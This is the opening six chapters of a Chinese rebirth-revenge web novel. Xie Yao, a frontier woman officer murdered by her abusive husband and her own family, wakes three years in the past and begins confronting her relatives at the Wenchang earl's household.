《渣爹杀妻灭女?重生断亲,全族祭天》 第1章 万箭穿心,被至亲害死重生 “谢窈此人,伯府嫡女,状元之妻,用两年认清人心还算不晚,可惜,竟死在这里。” 箫熠之带兵平定乱党,路过这座荒山时,谢窈只剩下最后半口气。 他勒住缰绳,认出了她,语气惋惜。 地上的女人早已说不出话,浑身被无数利箭贯穿,病痛的身体瘦骨嶙峋。 她脸颊凹陷,失去了张扬明艳的风采,灰黑的双目望着天,眼角渗出血一样的泪。 周围两三具土匪流寇尸体,大抵是她拼死换的。 箫熠之盯着谢窈许久,看到块破布,上面用朱笔写着“和离书”三字,隐约可见其中内容。 他捡起和离书,收入怀中,唤下属为其敛尸。 谢窈恍惚间听到“可惜”二字,回想起自己死前的一切。 她这短暂的一生,从选择嫁给青梅竹马的陆慎言开始,一步错,步步错。 被软禁在庄子里两年,几日前,她终于找到机会,撑着病体残躯,与陆慎言对簿公堂。 公堂之上,已经官至吏部侍郎的陆慎言温润儒雅,谦和有礼,他承认自己对妻子的疏忽,答应回家后就与她和离,还亲自将她送回庄子。 然而离开外人,陆慎言便露出真实面目。 他让下人毒哑了她,将她丢到一个昏暗屋子里,牢牢捆在木桩上,三日水米不沾。 直到昨天,门终于开了。 逆着光,陆慎言仍旧身穿朱红的四品袍服,端方温润,俊秀面孔却透着几分诡异的癫狂。 “窈儿饿了吧,为夫带了饭食来。” 他语气温吞,端上一碗馊饭。 谢窈没法回应他,双目冰冷漠然。 陆慎言被谢窈毫不在意的态度激怒,顿时撕去那伪装的温柔,狠狠将饭碗摔碎,手里的鞭子落下! “想和离,想拿回当初那些陪嫁?!谢窈,你也配!” 陆慎言扣起她的下巴,看出她眼中的不甘与困惑,癫狂咆哮: “若不是为了你,我堂堂七尺男儿,怎么会跑去做安平侯的一条狗,若不是你,我怎么会为安平侯挡箭,你知不知道那箭……是你害得我陆家断子绝孙!如今你想抛下我,做梦!你就是死,也是我陆慎言的妻子,入我陆家祖坟!” 陆慎言俊秀的面目涨红,狰狞似地狱恶鬼,哪有一点昔日骑骏马,温润簪花状元郎的样子。 谢窈明白了,原来是这样。 两年多前,她刚与陆慎言定亲,就得知他为安平侯挡箭坠马,生死未卜。 她毅然嫁了过去,衣不解带地照顾他五天五夜,终于等到他苏醒。 后来,陆慎言发奋读书,从不碰她,还在那年春闱中了状元。 原来那时,陆慎言就受了伤,从此不能人道。 “对了,窈儿,你不是讨厌你娘吗……” 陆慎言声音忽然低幽下去,手指一寸寸按在谢窈手臂渗血的伤口上,他欣赏着谢窈痛苦皱眉的样子,姿态亲昵。 谢窈瞳孔骤然收缩。 难道,母亲的死,与陆慎言有关?! “为了你,我每个月都会给她写一封信,骂她凭什么对你不好,咒她何时去死,谢家每封都收了,窈儿还记得吗……我的字,可是你教的!” 陆慎言的话,清晰落在谢窈耳中。 她胃部痉挛般翻涌,咬碎了牙,血从嘴角流出来,喉咙发出破碎的呜咽。 谢窈试图挣扎开木桩,指尖刺入皮肉,血顺着指缝滴落,她却仿佛感受不到疼痛,从心肺至眼瞳,燃烧着烈火似的恨! 她好恨,恨不能生啖其肉,把他抽筋扒皮。 许久,陆慎言打累了,将鞭子放下,抚摸谢窈的脸:“乖窈儿,明日为夫再来看你,你可千万别死了。” 他锁住屋门,扬长而去。 深夜的时候,谢窈醒来,抠烂五指指甲,用碎瓷片磨断身上拇指粗的麻绳。 她曾在边境从军九年,即便如今武功尽废,奄奄一息,门锁也困不住她。 谢窈蘸着地上自己的血,在破布上用陆慎言的字迹写了封和离书,收好后,抢了一匹拉货的老马。 骑上马,冷风拂面,她却觉得肆意,好似回到了从前在沙场的岁月。 她想回家。 谢窈知道这段时间京中不太平,所以走的是条鲜为人知的小路。 晨光熹微,远处忽然出现一支模糊的队伍。 谢窈怕是流匪,下马后等了会儿,却看见为首的老叟,竟然是谢府的管事! 她以为自己眼花,用力揉搓眼睛。 真是父亲身边的老管事! 霎时间,谢窈脱力地倒下,紧绷的身体松懈之后,顿时痛得刺骨。 管事也见到谢窈,连忙加快脚程,招呼着人来到她身边。 “是二小姐吗?” “是她!” 谢窈眼眶潮湿,呜咽地点头,松下手中防身的哨棒。 即便所嫁非人,即便母亲走了,即便她或许真的无法活过这个冬天,至少她还有父亲,有谢家。 她的家人,来接她回家了…… 下一刻,一柄尖锐的短刃,从谢窈胸口贯出! “噗——” 管事搅动了几下短刃,抽出来时,带起一簇血色。 “二小姐,主子们要你死,老奴也是奉命行事,你认命吧。” 管事站起身来,其他流匪打扮的人将她围住,张开长弓。 鲜血溅在谢窈惨白茫然的脸颊,混着滚烫的泪滑落。 被陆慎言折磨,她没掉一滴眼泪。 可如今来杀她的,是她的家人。 谢窈不认命。 但她还是死了,万箭穿心,死在至亲手中。 最后给自己收尸的,竟然是当初被她当众拒婚的靖北王箫熠之…… 怀着满腔恨意,不甘,愤怒,谢窈死不瞑目。 不知过了多久,她缓缓睁开双眼。 身子轻快,往日种种,恍若大梦一场。 “少将军,您终于醒了!”耳边传来熟悉的女声。 谢窈抬眼望去,浑身一震。 竟然是自己在军中的侍女忍冬,正满脸担忧地看着自己。 可她分明在两年前就死了! 忍冬从包袱里找出伤药,忿忿不平:“要奴婢说,那陆公子不就是一个白面书生嘛,就算少将军您与他多年未见,也不至于激动得伤口迸裂,晕了过去。” 谢窈由着她唠叨,看向周围。 忍冬医术高超,难道自己没死,她也没死,是她救了自己? “怎么叫我少将军——”谢窈的嗓音清洌干净,一下让她怔住了。 自己嫁给陆慎言不久,因为旧伤复发,又中了毒,导致内力尽失,嗓子也变得沙哑似老妪,最后更是被陆慎言毒哑,现在竟然恢复了? 忍冬道:“您本来就是少将军啊,哦,您是怕这称呼太扎眼,那奴婢在京中唤您二小姐吧。” 谢窈眼前恍惚了刹那,她有多久没听见有人叫自己少将军,以至于自己都忘了—— 她,谢窈,本就是大燕边军少将军! 看着车内情景,谢窈彻底反应过来。 她回到了三年前! 这是平宁五年,自己接到母亲来信,要她回京待嫁! 谢窈攥紧拳头,感觉全身气血都在翻涌。 她想查清真相,她要血债血偿,她绝不再过那样潦草悲惨的一生! “两位姑娘若休息好了,小的就继续驾车,再走三条街就到伯府了。”车夫的声音从马车外传来。 谢窈接过忍冬给的药丸生吞下,道:“先不回伯府,前面直走,去未央别苑。” 忍冬疑惑地望着少将军,总觉得少将军眼神变了。 而且少将军之前最讨厌吃药,每次受伤用药要配许多糖果蜜饯,可今天,竟眉头都不皱一下地生吞了药丸。 “二小姐,未央别苑是什么地方?”忍冬拿出蜜饯给谢窈,“只能吃一枚哦,否则影响药效。” “是长公主在京中的别苑。” 谢窈仔细嚼着蜜饯,摸了摸怀中藏着的一方锦盒。 “有件旧物,师父……大将军让我交给长公主。” 第2章 借长公主的势 马车行得很稳,忍冬想了起来,去岁长公主归国,皇上赐下无数赏赐,其中就有一座盖在从前沈家祖宅上的别苑。 皇上还把边境的健妇营,挂在了长公主名下。 想当年,大燕健妇营由先帝的沈皇后统领,八千健妇营战功赫赫,威名远扬,是随着先帝打天下的大军。 后来沈家涉及谋逆,被满门抄斩,沈皇后也赐了自尽。 可九年前先帝又替沈家平反,重建了八百健妇营,由大将军统一统领。 大将军有什么信物要少将军交给长公主,这是公务,忍冬不敢再过问。 片刻后,马车在别苑外停下。 谢窈持刀下车,攥紧刀柄。 这副身子虽然有伤,但至少此刻的她,还提得动刀。 她再也不会放弃握刀。 还未敲门,别院大门忽然敞开,一辆马车驶出。 随行的小太监模样清秀,看见谢窈,上前道:“什么人,敢拦长公主凤驾。” 谢窈将怀中的锦盒呈上:“臣女谢窈,奉大将军之命送旧物给长公主殿下。” 小太监正疑惑,车内忽然伸出一只凝雪似的玉手,皓腕佩着素金凤镯,掀起车帘,清冷微低的女声传来:“呈上来。” 谢窈将锦盒交给小太监,静侯在车外。 这方锦盒,是她决定回京时,大将军交给她的。 大将军说盒内的信物,可以为她在京中铺路,免得她回京后受欺。 只是,前世她离家多年,归心似箭,又无比渴望家中亲情,归家前就决定收刀入鞘,不再插手军中事务,所以遇见陆慎言后就回到谢家,根本没有送信物。 而这次,要想复仇,她要为自己找到一个靠山。 长公主是最好的人选。 几息之后,小太监请谢窈上了马车。 车内奢华宽阔,温暖如春,一身雍容的长公主面容凌厉,凤眸打量着谢窈。 这也是谢窈初次见到长公主,长公主比她想象中更冷,更美,面容更苍白些。 “你可知,锦盒内有什么。” “臣女不知,臣女奉命送信物,不敢打开。” 长公主垂下眸,眼眶微湿,声音竟有几分哽咽:“有两封信,其中一封,是本宫母后留下的遗书。” 谢窈没有问另一封信又是什么,只是垂着眸,默然不语。 长公主口中的母后,就是昔年的健妇营统领沈皇后,大将军接管健妇营后,得到沈皇后遗物,送还给长公主,这是个不小的人情。 谢窈在军中九年,大将军对她如师如父,知道她回京,所以将这份人情送给了自己。 须臾,小太监进入马车,低声在长公主耳边说了什么。 “原来是文昌伯府的嫡二小姐。” 长公主很快就平复了情绪,语气淡淡。 “多谢你来送信,你想要什么赏赐,是金银珠宝,还是为你父亲官位,又或者……你不想嫁给箫熠之,本宫都可以为你做主。” 她那弟弟口谕,想要为箫熠之和文昌伯府的女儿赐婚的事,她也有所耳闻。 谢窈俯身跪拜,道:“臣女是健妇营之人,殿下是健妇营之主,臣女本就该为殿下效劳。只是,臣女身为女子从军,又在军中散漫多年,不知礼数,唯恐如今回京,因身份被人折辱置喙,求殿下赐臣女一件信物,让臣女沾殿下的光,不被人小觑。” 长公主听到“健妇营”三个字,心中再次酸涩起来。 那是她母后生前统领的军营。 “你这孩子,是想借本宫的势。”长公主已经明白了谢窈的心思。 她仔细看谢窈幽深的眼睛,瞧见少女眼底的野心与复杂。 “罢了,本宫没什么信物给你,不过双喜,你送谢二小姐回文昌伯府,看谁敢看不起健妇营的女兵。” 小太监双喜连忙应下。 谢窈心愿达成,没有再执着什么信物:“多谢殿下!” 她下了长公主的凤驾,车内,长公主捧着锦盒,眼底含泪,一遍遍轻轻摩挲那泛黄的信纸。 谢窈坐上马车,双喜和忍冬坐在车外,很快行到谢府。 她撩开车帘,望着“文昌伯府”的深色牌匾,眼神晦暗。 谢家只是假借母亲口吻要她回京,根本没有半分真情。 靖北王箫熠之身有残疾,皇上口谕,为他和文昌伯之女赐婚,谢家既不想教养多年的庶女嫁入王府,又不愿放过这个向上爬的机会,便想起她这个被丢到健妇营的女儿。 需要时,她是伯府嫡女,不需要时,则弃她如敝履,这就是她的骨肉至亲。 忍冬下车,抬手扣响铜环。 “什么人?” 忍冬:“是二小姐回来了。” 门房打开门,瞧了一眼,不屑道:“我们文昌伯府只有大小姐,没有什么二小姐。” 谢窈翻身下车,手里提着一把缠绕着灰色布条的长刀,语不惊人死不休:“不记得我了?你小时候还被我抽过呢。” 人至中年的门房愣住,看见她,忽然,久违的恐惧涌上心头。 原本想替谢窈解释的小太监双喜,听见这话,嘴角抽了抽。 本以为谢二小姐说自己不知礼数,想让殿下替她撑腰,是自谦的说法,没想到……她确实不知礼数。 门房其实已经认出谢窈,但想到主子的叮嘱,他还是梗着脖子不承认:“胡说,我根本不认识你,招摇撞骗,赶紧滚,别脏了伯府的地!” 谢窈抬起手,巴掌就要落下。 门房下意识缩脖子后退,没想到谢窈抬起脚,闪电般一踹。 对方飞了出去。 门房“咣当”撞到门板上,惨叫着喷出一口血。 “现在想起我是谁了吗?”谢窈问。 围观的双喜和忍冬都呆住了。 “放肆!” 一道稍显稚嫩的威严声音怒斥。 谢窈头都没抬,早有预料地抓住忍冬的手臂,将她扯到旁边:“退后。” 下一刻,大门完全敞开,几道泛着寒光的利箭迎面袭来! 如果谢窈刚才没有拉开忍冬,此刻忍冬定要受伤! 谢窈挥动长刀,刀身轻松地将利箭拍飞。 “哪来的江湖骗子,敢在伯府门口撒野!” 一名身穿骑装的少年攥长弓对准谢窈,眉眼俊朗,神情恣肆。 他身后,簇拥着几名手持弓箭的家丁,同样弯弓对着谢窈。 第3章 她身上有风,眼里有光 不出片刻,百姓们便围聚在伯府门口,看起热闹。 谢窈与骑装少年对峙,少年身旁的书童低声道:“少爷,这两个骗子,看起来不像武先生啊。” “怎么不像,你看她怀里抱着的砍刀了吗,多长的刀!” 谢宴看了看倒在地上吐血的门房,又想到刚才谢窈一刀挡掉七八支箭的情景,断定这少女,就是父亲请来管教他的武先生。 至于为何武先生是女子,大燕民风开放,先帝的沈皇后甚至统领健妇营将士,随军打仗,女子习武并不罕见。 想到健妇营,谢宴脑海中浮现一张模糊的面容。 谢窈确定忍冬没事,才道:“小废物,这么多年还是没有长进。” 前世忍冬敲门,与门房争执的时候,被迎面几箭射伤。 她当时身负重伤,不便出手,只能隐忍下去,让忍冬先自行去医馆包扎。 从此与谢宴生了芥蒂不说,谢家的下人们也以为她是个好欺负的,便对她踩高捧低。 多日后,她寻由头去找忍冬,没想到医馆说忍冬伤势恶化,已经离开人世。 即便她怀疑蹊跷,当时也没有任何头绪,只是后来琢磨久了,意识到忍冬的死,或许是谢家的手笔。 听到“小废物”三个字,谢宴面色微变,目光落到谢窈脸上。 谢窈站在门外的石狮子旁,身影半边落在熔金似的落日里,另外半边隐于阴影处。 比精致容貌让人更先注意到的,是一双清冽的眉眼。 她身穿利落英气的鸦青短褐,黑发束着,和那些貌美如花,温柔似水的京城贵女不同,她更像一把锐利张扬的刀。 耳边,传来百姓的议论声。 “我只知道谢家大小姐是京城有名的贵女,没听说过二小姐。” “哪里来的乡下女子,长得倒是漂亮,但怎么穿得跟乡野村妇似的。” “我想起来了,谢家多年前响应朝廷号召,把自己嫡出的二小姐,送到了北境健妇营,被先帝御笔亲题‘忠义之女’四个字呢。” “谢家被送去北境那位回来了?我看看,我看看!” 多年前,谢家送嫡女去健妇营一事,曾被先帝圣赞,闹得满城风雨。 眼前的人,与谢宴记忆深处的面容重合。 他心头蓦地震动,指尖却没控制住,箭已离弦。 “不好!” 霎时间,谢窈抬起手。 少年射出的箭被她硬生生抓住,反手狠甩出去—— 一箭,钉在赶来的朱裙妇人脚下,白羽犹震。 “力度不够,准头不行,手抖,谢宴,你还是和小时候一样没用。”谢窈冷冷地说。 谢宴恍惚地站在原地,没管她是不是在骂自己,见她没事,微松了一口气。 妇人浑身发颤,半晌才找回自己的声音:“误会,误会啊,宴儿,这是你二姐姐。” “还不把弓箭收起来,这是咱们伯府的二小姐,一直在边境从军,你们快快行礼。” 家丁们互相对视一番,齐声道:“见过孙姨娘,见过二小姐!” “二小姐不记得我了吗,我是伯爷的妾室孙氏,你小时候可喜欢吃我做的点心呢。” 谢窈当然认识这个女人。 如果她没记错,她嫁给陆慎言不到半年,谢明安就抬妾为平妻,从此,孙姨娘成了伯府正经夫人,她的母亲则彻底沦为弃子。 孙姨娘绕过脚下的箭,又看向双喜和忍冬:“这二位是?” 双喜没说话,忍冬敷衍:“奴婢是二小姐在军中的侍女,二小姐赐名忍冬。” 孙姨娘盯着她:“二小姐去健妇营时,家中并没有安排侍女啊,此人来路不明,不能进门。” 几名丫鬟婆子和小厮听到这话,便拦在门口,挡住忍冬的路。 谢窈黑眸一凝,笑了。 她笑得很灿烂,露出雪白的牙齿,容貌昳丽得让人惊艳,孙姨娘却无端心头发凉。 “我乃谢家嫡女,受主母命回府,短短几年,怎不知如今文昌伯府,已经是孙姨娘当家,连本小姐一个侍女,也得先过孙姨娘的眼才能放进?” “这……”下人们左右为难。 想到谢窈的确是伯府嫡女,看样子也不好惹,他们犯不着为一个侍女得罪二小姐,他们又默默让开了位置。 孙姨娘没再说什么,只是命人打开偏门。 “那二小姐请进吧,你枝枝姐早就念着你回家,前些时日还特意选了好料子,说要给妹妹裁制新衣。” 她口中的枝枝,是她的女儿谢枝。 孙姨娘故意在下人面前只说谢枝在等谢窈,却没有提谢老夫人或文昌伯,还只给她开了偏门,是让他们知道,即便谢窈是嫡女,也是个不受重视的嫡女。 谢窈看见偏门,原地不动。 转身看向围观的百姓:“大伙儿给我评评理,我敲门,迎面就是利箭,父亲母亲一个没见到,又要我走偏门,怕是三更进,五更就得把尸体抬出去,这我敢进吗?” 百姓连连点头,他们都见到了,谢家二小姐只是教训个刁奴,就差点被弓箭射死,要她走偏门,接她的还只是个妾室姨娘。 看来,越是豪门大户越有龃龉晦暗之处,哪怕是素来自诩文官清流的文昌伯府。 说不定,谢家根本不愿二小姐回府。 孙姨娘知道谢伯爷最看重名声,发现百姓们议论纷纷,她只好讪笑:“二小姐想多了,你在健妇营多年,伯爷和主母自然是记挂你的,但那毕竟是军营,舞刀弄枪的,咱们伯府世代从文——” 谢窈一把刀扛在肩头,眼神幽幽:“姨娘,你是不是瞧不起健妇营,还是说父亲母亲也认为我在乡野边境长大,觉得丢人,不想见我?” “哪能呢,主母尚在病中,至于伯爷……” 孙姨娘咬了咬牙,招呼身旁的嬷嬷:“快去请伯爷和二爷他们。” 远处的角落里,一辆不起眼的马车掀起帷帘。 车内的男人静静地看着这一幕,视线在谢窈脸上停留,目光微凝。 她持长刀张扬肆意,身上有风,眼里有光,万分夺目。 手下语气复杂:“属下听说谢家还有位庶出的姑娘,想必那位才是皇上所说,温婉贤淑的谢家贵女,指给王爷的未来王妃。” 毕竟眼前这位,实在与温婉贤淑沾不上一点边。 “走吧。” “王爷不再看看未来王妃了吗?那位庶姑娘还未露面,咱们再等等,说不定就要出来了。” “王妃已经看完了,无关之人,要看你看。” 第4章 一个弃女,拿什么和她比 片刻后,谢窈的二叔二婶来到门口,父亲文昌伯也姗姗来迟。 文昌伯谢明安虽然人至中年,但年轻时是京中有名的美男子,如今也仪表堂堂。 他官至礼部侍郎,在百姓中素有清名。 一大家子围聚一堂,孙姨娘道:“宴儿,还不快把误会说清楚。” 谢宴闷声道:“我以为她是父亲请来的武先生,又伤了门房,想让家丁试她身手,我没往她要害处射。” 谢明安怒斥:“胡闹!上不了台面的东西,回头我就把你那些弓箭全烧了!” 骂完,他又上下打量着谢窈。 这身灰青短打实在粗俗,像个乡野村妇。 再看她手中长刀,哪有什么女孩样,真是丢人。 谢明安眉头皱起来,眼中流露出鄙弃:“穿的什么东西,门房未认出你来,也是因为你衣着粗俗,举止无礼。” 谢窈问道:“这是健妇营常服,父亲嫌我穿得差,是瞧不起健妇营,也不想让我从正门回府?” “你一个女子,如此行为顽劣,不知礼节,如何能从正门进入?” 谢明安说着,目光落到谢窈身后的双喜身上。 “这又是何人,身为女子,你为何要与此等外男同行,你不要脸面,本伯还要!” 双喜正愁没机会嚣张跋扈,闻言,悠悠地竖起兰花指,秀气冷面翻了个白眼。 “谢伯爷,我大燕健妇营乃先帝重建,为国戍边,劳苦功高,你有多大的脸面,看不上营中衣裳,瞧不起自己身在健妇营的嫡女?” 谢明安不认识双喜,却一听就知道了他宦侍的身份。 他面色微变,语气立即恭谨起来:“敢问公公是?” 双喜冷哼一声:“咱家奉长公主殿下凤谕,送谢二小姐回府,二小姐乃是大燕健妇营中的有功之人,难道,配不上你等从正门迎她归家?” 谢明安这才想起,健妇营在去年被陛下记在了长公主名下。 这可是大燕唯一的长公主,陛下一母同胞的姐姐! 长公主为国安稳,嫁去敌国为妃十余年,直到去岁才归国,是如今陛下身边最为看重之人。 他急忙命人打开伯府正门。 双喜又看向还在地上哼唧的门房:“这要是在咱们长公主府啊,如此不分尊卑,蔑视主子的下人,是要拖出去一通乱棍,打死解气的。” 谢明安又是挥手,让人把门房堵住嘴拖走:“对本伯嫡女无礼,送去恭房做工,永远别回来了!” 双喜这才点头,回了别苑复命。 谢窈被谢家一众人簇拥着,以嫡女的身份,恭恭敬敬迎进门。 周围的百姓暗中议论,谢家嫡女回京之事,迅速发散出去。 谢窈回过头,望着落在身后的伯府门楣。 她好像看见前世那个隐忍愚孝的自己,与现在的她挥手告别。 一辆马车忽然从伯府门口路过。 微风袭来,卷起几寸车帘。 谢窈见到张转瞬即逝的侧脸,嘴角的笑容蓦地消失。 她怎么看见箫熠之了! 谢窈又看向马车后面。 那辆马车平平无奇,只是车舆后面,扣着块多余的檀木板。 她顿时确定,车里的人,就是箫熠之。 箫熠之曾经辅佐皇帝登基,战功赫赫,但他残忍嗜杀,凶名远扬。 而就在两年前,他在战场上受伤,从此双腿残疾,只能坐轮椅出行。 因此,靖北王的马车会备着垫脚木板,方便轮椅上下行动。 也就是说,自己刚才轻轻一脚踹飞门房,威胁孙姨娘,恐吓谢明安,全被对方看在眼里? 谢窈暗叫不妙。 她还记得前世,自己拒嫁后,箫熠之向皇帝请旨,说他喜欢温柔贤淑的女子,谢家一嫡一庶,他都看不上。 箫熠之抗旨,气得皇帝让他闭门思过一年,还罚了他三年爵禄。 这次,谢窈不抗拒嫁给箫熠之,甚至要主动做靖北王妃,但是刚才的自己,和温柔贤淑沾不上一点边。 箫熠之不会又一次抗旨拒婚吧! 谢窈把刀丢给忍冬,虽然有些头痛,但是很快冷静下来。 或许,自己表现得越粗野无礼,越能得偿所愿。 只要她到时候,能说服箫熠之不要抗旨。 谢窈跟着孙姨娘,来到谢老夫人居住的暖房,中途谢明安说自己有公务处理,便离开了。 正要进门,一直沉默着跟在后面的谢宴忽然开口:“你就穿这个去见祖母?” 他盯着谢窈,这个女人走了太久,他都快忘记她的样子了。 只记得她从小就凶,打遍棠柳巷,连比她大几岁的邻居都被她揍过。 从前,他喜欢跟在她身后,想跟她学打架,却被她一脚踹飞,说他是个小废物。 她还说自己要习武,惹得家里天翻地覆,祖母父亲很不快。 直到父亲真把她送去健妇营,这个家终于安生了,没有她,他还有大姐姐,大姐姐对他很好,从来不骂他是废物。 祖母本就喜欢温柔知礼的大姐姐,如今,若看见谢窈这幅打扮,还扛着刀,怕是更讨厌她。 她自己难道不在乎吗,还要他来提醒。 孙姨娘像是才想起来,一拍脑门:“瞧我这记性,还不如宴儿想得周全,二小姐一路风尘仆仆,先去更衣吧,枝枝还给你准备了新衣裳,我看尺寸肯定合适。” 谢窈没理谢宴:“怎么能让老人家久等,我还是先去见祖母吧。” “随便你,我去找我家追墨了。”谢宴冷哼一声,转身走了。 不知好歹,他才懒得管她会不会被祖母喜欢。 不知她是为何回来,或许是受不了北境苦寒,想自己和父亲母亲,然后回京当嫡女小姐享福了。 谢窈问:“追墨是谁?” 孙姨娘笑着说:“是宴儿上个月买的一只黑毛公鸡,说要养些日子去斗鸡呢。” 谢窈黑眸一凝,想起前世在接风宴上发生的事。 原来,那只鸡叫追墨啊。 她嘀咕了声什么,便掀开门帘。 孙姨娘站在后面,怀疑自己听错了。 谢窈刚才说的好像是…… “鸡肥吗。” 时维九月,天气冷下来,谢窈进门带来阵寒意,让谢老夫人皱起眉头。 谢老夫人坐主座,一身雍容富贵的衣裳,神情冷淡。 庶姐谢枝坐在谢老夫人侧下方的软座,身着暖粉色绣折枝花的短袄,白狐的衣领,衬得她容貌俏丽,气质柔婉。 谢枝起身行礼,腰间的藕色香囊坠着流苏轻晃:“二妹妹,实在不是姐姐不去门口迎你,是刚才正好是祖母吃药的时辰,姐姐不在,祖母不好好吃药。” 她不动声色地炫耀着自己在谢家的地位,是谢窈根本不能比的。 谢窈从前在就不受待见,如今也一样。 一个伯府送去讨好靖北王的弃女,拿什么和她比。 听说靖北王性情暴戾,从前行军打仗就手段残暴,残疾后更是喜怒不定,喜欢杀人取乐。 谢窈嫁过去,不一定能活几天。 第5章 住姨娘院子,庶姐挑拨 “老夫人,咱们二小姐回来了,第一时间便来看您。”孙姨娘说。 谢老夫人看着自己下首的谢枝,再打量谢窈,训道: “我们谢家好歹也是伯爵出身,累世的书香门第,你穿成这个样子来见老身,哪有闺阁女儿家的样子,简直连乡野村妇都不如!” 谢明安和谢老夫人不愧是母子,说的话都差不多。 “健妇营之人都是如此装扮,祖母瞧不起健妇营?”她再次反问。 谢老夫人正要斥责,身旁嬷嬷将刚才门口发生的事耳语给她。 她的脸色一阵青白,不再作答。 这个丫头,居然借健妇营找长公主撑腰,真是翅膀硬了。 谢窈已经自顾自坐下,她有伤在身,要多多休息。 前世门口大闹那一场,耽搁了许多时间,谢老夫人便说自己来迟,耽误老人午休。 如今她径直前来,谢老夫人又说自己衣裳粗鄙。 既然无论如何谢老夫人都觉得自己有问题,那看来,有问题的是谢老夫人。 这个祖母,从小就不喜欢她。 谢窈端起杯热茶,看见祖母头上,插着一根鎏金赤凤钗。 她小时候在母亲妆奁里见过,那是母亲的陪嫁。 谢老夫人问道:“二丫头回来了,住在何处?” 孙姨娘立即开口:“二小姐尚未出阁,本该跟主母住在静竹轩,但那地方有些偏,且腾不出屋子,所以妾身安排她住枝枝在晚香院的屋子。” “晚香院离老夫人的暖房近,也宽敞,不知二小姐以为如何?” 孙姨娘不提离暖房近还好,听到这话,谢老夫人眉头都拧成了一团。 “这丫头住枝枝的房间,枝枝怎么办?” “枝枝便委屈些,先与我住一间吧,枝枝可愿意?”孙姨娘说。 孙姨娘提前与谢枝通过气,谢枝一脸乖巧道:“二妹妹久居边境苦寒之地,不过是个房间而已,女儿还能换来与姨娘同塌,就像回到了小时候,自然是愿意的。” 谢老夫人:“乖孩子。” 谢窈学谢枝的话:“大姐姐像回到小时候,可我久居边境苦寒之地,也想和母亲回到小时候。” 谢枝接了句心里话:“你想和你母亲住,那就去静竹——” “既然二小姐想住晚香院,就住晚香院!” 孙姨娘笑盈盈地打断道:“二小姐想和主母同寝有何不可,刘嬷嬷,去一趟静竹轩,请主母来晚香院,住我的上房。” 谢枝:“姨娘,那你呢?” “我与你先在西阁楼住一些时日。”孙姨娘说道。 这个谢窈牙尖嘴利,不好拉拢,且就把晚香院让给她和许氏住,她也住不了多久。 至于许氏,病歪歪成那个样子,住哪儿都一样。 谢窈露出笑容,深深地看了一眼刘嬷嬷:“好,那便麻烦嬷嬷了。” 谢老夫人在帮庶孙女说话与不说话之间,选择不耐烦地挥手:“我累了,散了吧。” 她看似疼爱谢枝,实际上遇事事不关己,高高挂起。 谢枝咬紧牙关,离开的步伐很快,似乎透着委屈。 谢窈却没走,盯着谢老夫人,一言不发。 直到谢老夫人被她盯得浑身不自在:“你这丫头看什么呢?” 谢窈道:“孙女和祖母九年没见,祖母能否给孙女一个见面礼?” “没规矩的丫头,上来就把礼物挂在嘴边,”谢老夫人厌烦地说,“和你那个满身铜臭,商贾之女的母亲一样!” 谢窈:“既然祖母嫌母亲满身铜臭,就把头上的凤钗给我吧,那是她的东西。” 没等谢老夫人拒绝,她又说:“祖母不想给就算了,我去跟父亲要,母亲的陪嫁应该都在他手里吧,怎么忽然出现在了祖母头上呢?” 谢老夫人想起这凤钗,是前段时间儿子让她轻点一些许氏陪嫁时,她顺手拿的。 怕儿子疑心自己,她只好拔下凤钗,狠狠瞪了谢窈一眼。 “赶紧走,别妨碍我休息。” 片刻后,孙姨娘带谢窈来到晚香院。 秋日天高气爽,午后的阳光一点也不刺眼,落在身上毛茸茸,暖烘烘的。 院子宽阔敞亮,院中海棠树硕果累累,泛着可喜的红润色泽,若是在海棠盛开的时节,晚风袭来,一定是满院花香。 晚香院最初本就是母亲住的,只是,母亲生下谢宴后身体每况愈下,就搬去了僻静少人的静竹轩。 如今,她替母亲要回了晚香院。 以后,母亲也会一直住在这里。 “把上房收拾出来,今晚就请主母入住。”孙姨娘举手投足格外端庄,似乎对把自己屋子送出去的事,没有一点不满。 在文昌伯府,孙姨娘多年来一直执掌中馈,虽为妾室,但在下人中素有美名,是京中有名的贤妾。 “我还有些账要去算,带二小姐去更衣吧,”她又吩咐,“你再看看屋子里有什么缺的,晚些咱们一起与伯爷用晚膳,为你接风洗尘。” 谢窈被丫鬟领着,简单梳洗,换上孙姨娘为她准备好的新衣裙。 几名丫鬟一直说这衣裳绸缎名贵,是新做的样式,又说她穿上后合体漂亮。 “这是什么?”谢窈问道,拿起腰间藕色绣花的香囊。 丫鬟:“京中盛行佩戴香囊,香囊和衣裳,都是大小姐前些日子为您亲自挑选的。” 忍冬不动声色地轻嗅,便轻轻颔首,示意谢窈香囊无毒。 只不过,这身衣裳和香囊放在一起久了,也浸染了清幽特殊的气味。 谢窈指尖缠绕着香囊,没有做声。 一路上,遇见的丫鬟下人看见她,纷纷露出惊艳的神情。 “那是二小姐?二小姐真美,比大小姐还美。” “小点声,让大小姐听见你就完了。” 谢窈还没进去,就见屋里的谢枝正在默默垂泪。 她的弟弟谢宴站在旁边,怀里抱着只浑身黑羽的鸡。 “哪有这样的事情,她凭什么一回来不见母亲,不见我,却占了大姐姐的房间!”谢宴眉头紧锁。 谢枝道:“二妹妹是嫡女,我不过是一介庶女,嫡女有求,我自然要让出房间,二妹妹既然喜欢宽敞的院子,那就让她住吧。” “我去找她,大不了,让她住我的院子!”谢宴说道,脑海里闪过谢窈那张似笑非笑的冷脸。 就算谢窈要住,也是住母亲那里,或者住他那里,为什么要住谢枝的屋子? 谢枝:“我受些委屈没什么的,只是担心姨娘,姨娘身体不好,天寒地冻,却要搬到西阁楼……” “她还把姨娘赶到了西阁楼?那我今天就站在这里等谢窈来,看她怎么敢抢姨娘和大姐姐的院子!” “我来了,你想怎样?” 谢窈走进房间,从忍冬怀里拿起裹着布条的长刀,面露微笑。 “你——” 谢宴乍然见到换了衣裙的谢窈,当场呆住。 愣了会儿,他还是伸臂将谢枝护至身后:“装什么温婉贵女。” 这个动作,让谢窈脸上的笑冷了下去。 第6章 欺负弟弟?弟弟还能要 离京这么多年,看来,谢宴早已把谢枝当成了自己的姐姐。 谢家这些人,除了母亲,没有一个好东西。 不过,她不恨谢宴。 前世,她刚嫁给陆慎言时,陆慎言终日苦读,陆家贫寒,陆母跋扈。 只有谢宴在她出嫁后给她写信,问她过得好不好,还隔三岔五送些吃食救济。 之后陆慎言高中状元,把她送去京郊庄子,名曰养病,实则是将她软禁其中,与世隔绝,一日日细碎磋磨,磨平她的棱角。 后来,也是谢宴千辛万苦,告诉了她母亲的死讯。 